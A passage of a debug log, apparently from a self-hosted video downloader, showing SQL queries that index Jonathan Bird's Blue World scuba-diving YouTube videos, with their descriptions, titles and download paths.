diving is exceptionally dangerous. If you want to do it, get certified for it.\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #cavediving #rebreather \n\nChapters:\n0:00 Intro\n1:04 The team meets in Florida\n2:56 We arrive at Madison Blue Springs\n6:44 The dive begins\n11:42 Arrive at Rocky Horror passage\n16:02 We reach the end and turn around\n17:47 Closing comments", "ROCKY HORROR Cave Dive at Madison Blue Springs!", "8t_R2cmYrBY", "https://www.youtube.com/watch?v=8t_R2cmYrBY", 34, 1127, false, "/downloads/rory/BlueWorldTV/2025-06-14 ROCKY HORROR Cave Dive at Madison Blue Springs!/ROCKY HORROR Cave Dive at Madison Blue Springs! [8t_R2cmYrBY].mp4", false, ~U[2025-06-14 14:00:11Z]] 19:03:33.909 [debug] QUERY OK source="sources" db=0.2ms idle=4.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:03:33.910 [debug] QUERY OK source="media_items" db=0.8ms idle=3.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-24 14:00:11Z], 34] 19:03:33.912 [debug] QUERY OK source="media_items" db=0.9ms idle=4.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this exciting episode, Jonathan and Christine Bird travel to the Northern Galapagos on the Galapagos Aggressor Liveaboard dive yacht searching for the famous schooling Eagle Rays of Wolf Island. Along the way they meet some sharks and sea turtles!\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #galapagos #liveaboarddiving \n\nChapters:\n0:00 Intro\n1:35 Travel to Ecuador\n2:38 Arrival in Galapagos\n4:57 Diving starts\n8:00 Diving Darwin Island\n14:30 Diving Wolf Island\n18:52 Close", "A Quest for EAGLE RAYS in the Galapagos! Can we find them??", "c46ab531-df35-44ed-a3d9-efcd5d4c13d6", "nVlQUwxiNwg", false, "https://www.youtube.com/watch?v=nVlQUwxiNwg", 34, [], 1188, false, 14, "/downloads/rory/BlueWorldTV/2025-05-24 A Quest for EAGLE RAYS in the Galapagos! Can we find them??/A Quest for EAGLE RAYS in the Galapagos! Can we find them?? [nVlQUwxiNwg].mp4", false, false, 98, ~U[2025-05-24 14:00:11Z], ~U[2026-06-03 23:03:33Z], ~U[2026-06-03 23:03:33Z], "In this exciting episode, Jonathan and Christine Bird travel to the Northern Galapagos on the Galapagos Aggressor Liveaboard dive yacht searching for the famous schooling Eagle Rays of Wolf Island. Along the way they meet some sharks and sea turtles!\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #galapagos #liveaboarddiving \n\nChapters:\n0:00 Intro\n1:35 Travel to Ecuador\n2:38 Arrival in Galapagos\n4:57 Diving starts\n8:00 Diving Darwin Island\n14:30 Diving Wolf Island\n18:52 Close", "A Quest for EAGLE RAYS in the Galapagos! Can we find them??", "nVlQUwxiNwg", "https://www.youtube.com/watch?v=nVlQUwxiNwg", 34, 1188, false, "/downloads/rory/BlueWorldTV/2025-05-24 A Quest for EAGLE RAYS in the Galapagos! Can we find them??/A Quest for EAGLE RAYS in the Galapagos! Can we find them?? [nVlQUwxiNwg].mp4", false, ~U[2025-05-24 14:00:11Z]] 19:03:33.912 [debug] QUERY OK source="sources" db=0.3ms idle=4.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:03:33.913 [debug] QUERY OK source="media_items" db=0.8ms idle=3.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-03 14:00:12Z], 34] 19:03:33.914 [debug] QUERY OK source="media_items" db=0.9ms idle=3.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jonathan and Todd explore the long and winding passageway of Skiles Passage in Twin Caves. This is one of the caves located on Merritt's Mill Pond in Marianna, Florida. They have to overcome being unfamiliar with the passage, some confusing cave lines, and a tight, silty restriction. This restriction is impossible to pass without sidemount gear and without silting out the cave. It's a cave diving adventure!\n\nWARNING!! CAVE DIVING IS DANGEROUS! DO NOT ATTEMPT TO DIVE CAVES WITHOUT PROPER EQUIPMENT AND TRAINING!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #cavediving #rebreather \n\nChapters:\n0:00 Tease/Open\n0:29 Introduction\n3:29 On the boat\n6:35 The Dive Begins\n12:28 We get Lost\n14:23 The restriction!\n17:32 Another confusing intersection\n19:30 On our way out\n23:54 Credits", "Twin Caves SILT OUT Dive! | JONATHAN BIRD'S BLUE WORLD", "9f091f25-fb29-4284-a9ec-e0c28f2d75d5", "0-k5a8ca1dk", false, "https://www.youtube.com/watch?v=0-k5a8ca1dk", 34, [], 1460, false, 15, "/downloads/rory/BlueWorldTV/2025-05-03 Twin Caves SILT OUT Dive! | JONATHAN BIRD'S BLUE WORLD/Twin Caves SILT OUT Dive! | JONATHAN BIRD'S BLUE WORLD [0-k5a8ca1dk].mp4", false, false, 98, ~U[2025-05-03 14:00:12Z], ~U[2026-06-03 23:03:33Z], ~U[2026-06-03 23:03:33Z], "Jonathan and Todd explore the long and winding passageway of Skiles Passage in Twin Caves. This is one of the caves located on Merritt's Mill Pond in Marianna, Florida. They have to overcome being unfamiliar with the passage, some confusing cave lines, and a tight, silty restriction. This restriction is impossible to pass without sidemount gear and without silting out the cave. It's a cave diving adventure!\n\nWARNING!! CAVE DIVING IS DANGEROUS! DO NOT ATTEMPT TO DIVE CAVES WITHOUT PROPER EQUIPMENT AND TRAINING!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #cavediving #rebreather \n\nChapters:\n0:00 Tease/Open\n0:29 Introduction\n3:29 On the boat\n6:35 The Dive Begins\n12:28 We get Lost\n14:23 The restriction!\n17:32 Another confusing intersection\n19:30 On our way out\n23:54 Credits", "Twin Caves SILT OUT Dive! | JONATHAN BIRD'S BLUE WORLD", "0-k5a8ca1dk", "https://www.youtube.com/watch?v=0-k5a8ca1dk", 34, 1460, false, "/downloads/rory/BlueWorldTV/2025-05-03 Twin Caves SILT OUT Dive! | JONATHAN BIRD'S BLUE WORLD/Twin Caves SILT OUT Dive! | JONATHAN BIRD'S BLUE WORLD [0-k5a8ca1dk].mp4", false, ~U[2025-05-03 14:00:12Z]] 19:03:33.915 [debug] QUERY OK source="sources" db=0.2ms idle=4.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:03:33.916 [debug] QUERY OK source="media_items" db=0.8ms idle=3.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-01 15:00:54Z], 34] 19:03:33.917 [debug] QUERY OK source="media_items" db=0.8ms idle=3.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jonathan and Todd venture to Puget Sound in the Pacific Northwest on a quest to film the giant Pacific Octopus, but instead find a bunch of curious Sixgill sharks!\n\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #sharks #rebreather \n\nChapters:\n0:00 Intro\n0:25 Hood Canal\n4:54 Our first shark!\n6:17 Redondo Beach\n8:26 More sharks!\n12:28 Summary and end", "SIXGILL SHARKS swim out of the Abyss!", "dc65b0bb-b04a-4c14-b2cc-0462e43ec6b8", "felN-1PL66Y", false, "https://www.youtube.com/watch?v=felN-1PL66Y", 34, [], 819, false, 16, "/downloads/rory/BlueWorldTV/2025-03-01 SIXGILL SHARKS swim out of the Abyss!/SIXGILL SHARKS swim out of the Abyss! [felN-1PL66Y].mp4", false, false, 98, ~U[2025-03-01 15:00:54Z], ~U[2026-06-03 23:03:33Z], ~U[2026-06-03 23:03:33Z], "Jonathan and Todd venture to Puget Sound in the Pacific Northwest on a quest to film the giant Pacific Octopus, but instead find a bunch of curious Sixgill sharks!\n\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #sharks #rebreather \n\nChapters:\n0:00 Intro\n0:25 Hood Canal\n4:54 Our first shark!\n6:17 Redondo Beach\n8:26 More sharks!\n12:28 Summary and end", "SIXGILL SHARKS swim out of the Abyss!", "felN-1PL66Y", "https://www.youtube.com/watch?v=felN-1PL66Y", 34, 819, false, "/downloads/rory/BlueWorldTV/2025-03-01 SIXGILL SHARKS swim out of the Abyss!/SIXGILL SHARKS swim out of the Abyss! [felN-1PL66Y].mp4", false, ~U[2025-03-01 15:00:54Z]] 19:03:33.917 [debug] QUERY OK source="sources" db=0.2ms idle=4.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:03:33.918 [debug] QUERY OK source="media_items" db=0.7ms idle=3.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-02-08 15:00:47Z], 34] 19:03:33.920 [debug] QUERY OK source="media_items" db=0.8ms idle=3.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In the newest Blue World adventure, Jonathan and Todd join dive guide Sean Holland with Undersea Adventures in Kennewick, Washington to dive an abandoned cold war Titan 1 missile silo that has filled with water! It's spooky!! And if you want to do this dive yourself, you do not need to be cave certified. Check it out:\n\nhttps://www.underseaadventures.net/module/class/214573/missile-silo-dives\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #rebreather #wreckdiving \n\nChapters:\n0:00 Intro", "Diving an Abandoned MISSILE SILO!", "16b84710-5582-469b-92ff-957ddacad725", "d3dLTP1RNQQ", false, "https://www.youtube.com/watch?v=d3dLTP1RNQQ", 34, [], 643, false, 17, "/downloads/rory/BlueWorldTV/2025-02-08 Diving an Abandoned MISSILE SILO!/Diving an Abandoned MISSILE SILO! [d3dLTP1RNQQ].mp4", false, false, 98, ~U[2025-02-08 15:00:47Z], ~U[2026-06-03 23:03:33Z], ~U[2026-06-03 23:03:33Z], "In the newest Blue World adventure, Jonathan and Todd join dive guide Sean Holland with Undersea Adventures in Kennewick, Washington to dive an abandoned cold war Titan 1 missile silo that has filled with water! It's spooky!! And if you want to do this dive yourself, you do not need to be cave certified. Check it out:\n\nhttps://www.underseaadventures.net/module/class/214573/missile-silo-dives\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #rebreather #wreckdiving \n\nChapters:\n0:00 Intro", "Diving an Abandoned MISSILE SILO!", "d3dLTP1RNQQ", "https://www.youtube.com/watch?v=d3dLTP1RNQQ", 34, 643, false, "/downloads/rory/BlueWorldTV/2025-02-08 Diving an Abandoned MISSILE SILO!/Diving an Abandoned MISSILE SILO! [d3dLTP1RNQQ].mp4", false, ~U[2025-02-08 15:00:47Z]] 19:03:33.920 [debug] QUERY OK source="sources" db=0.2ms idle=4.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:03:33.921 [debug] QUERY OK source="media_items" db=0.7ms idle=3.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-09-14 14:00:11Z], 34] 19:03:33.922 [debug] QUERY OK source="media_items" db=1.0ms idle=3.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jonathan and Todd join world renown cave explorer Robbie Schmittner to explore a new cave that he discovered. The entrance (which he named \"Wishing Well\") turns out to be a new entrance to a large known cave system, much of which is unexplored. We get to explore a brand new section of cave, lay some line in there, and Jonathan even gets to leave his name in the cave on a line arrow.\n\nRobbie Schmittner offers true cave exploration adventures off the beaten path. If you are an EXPERIENCED cave diver and want to do something that very few people ever get to do--explore the unexplored--then Robbie is the guy to call. He is best reached through instagram at @robbieschmittner.\n\nWARNING! CAVE DIVING IS EXTREMELY DANGEROUS AND REQUIRES SPECIAL TRAINING AND EQUIPMENT. NEVER ATTEMPT TO DIVE CAVES WITHOUT PROPER TRAINING!! \n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #cavediving #rebreather \n\nChapters:\n0:00 Intro\n1:19 About Robbie\n2:00 Getting to the cave\n6:00 The dive begins\n7:45 Exploration begins\n14:28 Heading back\n15:32 Summary\n16:27 Credits", "Diving an UNEXPLORED cave in Mexico!", "0fcaaf15-ca6e-4760-86e8-63400a198776", "GtXs5-njKx8", false, "https://www.youtube.com/watch?v=GtXs5-njKx8", 34, [], 1008, false, 18, "/downloads/rory/BlueWorldTV/2024-09-14 Diving an UNEXPLORED cave in Mexico!/Diving an UNEXPLORED cave in Mexico! [GtXs5-njKx8].mp4", false, false, 98, ~U[2024-09-14 14:00:11Z], ~U[2026-06-03 23:03:33Z], ~U[2026-06-03 23:03:33Z], "Jonathan and Todd join world renown cave 